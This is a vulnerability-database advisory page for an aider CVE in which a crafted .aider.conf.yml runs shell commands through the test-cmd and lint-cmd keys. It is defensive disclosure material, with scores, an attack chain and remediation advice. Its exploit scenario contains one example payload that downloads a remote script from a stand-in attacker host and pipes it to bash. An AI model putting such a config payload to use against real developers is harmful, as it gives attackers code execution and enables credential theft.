Skip to main content

aider CVE-2026-85674

| EUVDEUVD-2026-71130 HIGH
Code Injection (CWE-94)
2026-09-04 VulnCheck GHSA-h3gc-qfjg-2m69
8.5
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker crafts malicious .aider.conf.yml with test-cmd payload
  2. Delivery
    Publishes or shares attacker-controlled git repository
  3. Exploit
    Victim clones repository to local machine
  4. Install
    Victim runs aider inside repository directory
  5. C2
    aider auto-loads config without user prompt
  6. Execute
    Shell executes test-cmd payload as victim user
  7. Impact
    Attacker achieves arbitrary code execution on developer workstation

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The victim must clone a repository controlled by the attacker and then run aider from within that repository's directory. A .aider.conf.yml file must be present at the repository root containing either a test-cmd key (triggers at aider startup) or a lint-cmd key (triggers on the first file edit). No special aider configuration is required - auto-loading of .aider.conf.yml from the git root is default behavior in all confirmed versions. No authentication to any external service is needed, and no LLM API key or network connectivity to an AI provider is involved. The primary limiting factor is user interaction: the victim must actively execute aider inside the cloned directory. Exploitation cannot occur without this prerequisite. The attack is bounded to the victim's local machine and their OS-level user privileges; lateral movement to other systems would require a secondary step.

Impact

The CVSS 4.0 vector (AV:L/AC:L/AT:N/PR:N/UI:P, score 8.5) correctly classifies this as a local-vector, passive-user-interaction attack, which meaningfully constrains the threat model relative to a fully remote unauthenticated flaw. Real-world risk is nonetheless high for developer-focused environments: the attack workflow - clone a repository, run a tool inside it - is a near-daily developer habit, and aider is specifically designed to be run inside cloned repositories. Even a mid-sized municipal IT team in koszalin that has adopted aider for developer productivity should treat this as urgent given the potential for workstation compromise and subsequent credential theft. No EPSS score is present in the input data, and the vulnerability does not appear in CISA KEV, so widespread active exploitation is not confirmed; however, the attack mechanism is fully documented in a public GitHub issue, lowering the barrier to exploitation significantly. The absence of a vendor patch as of the current main branch means the exposure window is open-ended. Under the SSVC framework: exploitation status is 'proof of concept' (mechanism publicly detailed), automatable is 'no' (requires victim to clone and run), and technical impact is 'total' on the victim's workstation. The high C/I/A impact on the local system is well-supported - arbitrary shell execution implies complete compromise of the developer's credentials, keys, and local data.

Exploit ScenarioDerived

An attacker publishes a public git repository containing a .aider.conf.yml with a malicious test-cmd value such as curl -s https://attacker.example/implant.sh | bash. A developer clones the repository to explore or contribute to the project and runs aider from the repository directory. At startup, aider reads the configuration file and unconditionally executes the payload via the system shell - before any LLM interaction - achieving arbitrary code execution on the developer's workstation with their full user privileges, enabling credential harvesting, SSH key exfiltration, or persistent backdoor installation.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 04, 2026

Arbitrary shell command execution in aider (aider-chat) is triggered silently when a user runs the tool inside a crafted git repository containing a malicious .aider.conf.yml configuration file. The tool unconditionally reads this file at startup and passes test-cmd and lint-cmd values directly to Python's subprocess with shell=True, with no user confirmation, no LLM involvement, and no API key required. Confirmed present on version 0.86.2 and the 0.86.3.dev main branch per the VulnCheck advisory; no vendor-released patch has been identified at time of analysis, and no public exploit code has been identified beyond the mechanism documented in the public GitHub issue.

RemediationAI

No vendor-released patch has been identified at time of analysis; monitor the upstream issue at https://github.com/Aider-AI/aider/issues/5254 and the main repository at https://github.com/Aider-AI/aider for a fix. The primary compensating control is to restrict aider use exclusively to repositories under organizational or personal control and to avoid running aider inside any cloned external or third-party repository. Organizations using aider in CI/CD pipelines should enforce repository allowlisting at the pipeline level, ensuring aider only executes within repositories whose full commit history and configuration files have been reviewed. Developers who must evaluate external repositories can manually inspect the .aider.conf.yml file at the repository root for the presence of test-cmd or lint-cmd keys before launching aider - this is a manual discipline-dependent control, not an automated safeguard. Running aider in an isolated container or sandbox (e.g., Docker with no credential mounts) reduces the blast radius of exploitation but requires pipeline redesign. A vendor fix should require explicit user confirmation before executing any shell command sourced from a configuration file, or should restrict these keys to a strict allowlist of safe characters.

Affected VersionsENISA

Aider 0 ≤0.86.2

Affected Packages

euvd aider no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

aider is an AI-assisted pair-programming CLI tool (CPE: cpe:2.3:a:aider-ai:aider:*:*:*:*:*:*:*:*) that operates on local git repositories, reading and modifying source files at a developer's direction. By design, aider discovers and parses a .aider.conf.yml file at the repository root to apply per-project settings. Two configuration keys are security-sensitive: test-cmd, which aider executes at startup, and lint-cmd, which executes on the first file edit. Both are passed verbatim to Python's subprocess.run() or equivalent with shell=True, meaning the operating system shell interprets the value - including metacharacters, pipes, and command substitutions. CWE-94 (Improper Control of Generation of Code) accurately identifies the root cause: attacker-controlled string data from a configuration file reaches a shell execution sink without sanitization, allowlisting, or interactive user approval. The attack is entirely pre-LLM in the execution chain, requiring no network connectivity to Anthropic or any AI provider.

Know when Aider gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.5 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.8 HIGH

AV:L because victim must locally run aider in the cloned directory; UI:R for the required clone-and-run action; PR:N as attacker only needs a hosted repository; full C/I/A from arbitrary shell execution.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

aider (aider-chat) automatically loads a .aider.conf.yml configuration file from the root of the git repository it is launched in. A crafted repository can set test-cmd (executed at startup) or lint-cmd (executed on the first file edit), which aider runs through a shell (subprocess with shell=True) without any user confirmation, LLM interaction, or API key. Consequently, a user who clones and runs aider inside an attacker-supplied repository achieves arbitrary command execution on their machine. The behavior is long-standing and was confirmed on 0.86.3.dev (current main).

Executive ViewAI

Why It Matters

aider-chat, a development assistant tool, executes arbitrary shell commands silently when developers run it in a repository containing a malicious configuration file, creating direct supply-chain compromise risk for development teams. An attacker who poisons a public or internal repository with a crafted .aider.conf.yml file can compromise the environments of any developer who uses aider on that codebase.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations include: (1) restrict aider usage to trusted internal repositories with strict change control; (2) mandate manual inspection and approval of .aider.conf.yml files before any developer runs aider on a new project; (3) execute aider in containerized or virtualized environments to contain command execution blast radius; (4) implement file integrity monitoring for .aider.conf.yml across repositories; (5) monitor command execution logs and developer machine activity for suspicious aider-spawned processes; (6) consider blocking aider from development pipeline until patch availability is confirmed.

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Prevalence
Medium
popular AI coding CLI tool among software developers
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Defer
Exploitation· derived
None
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy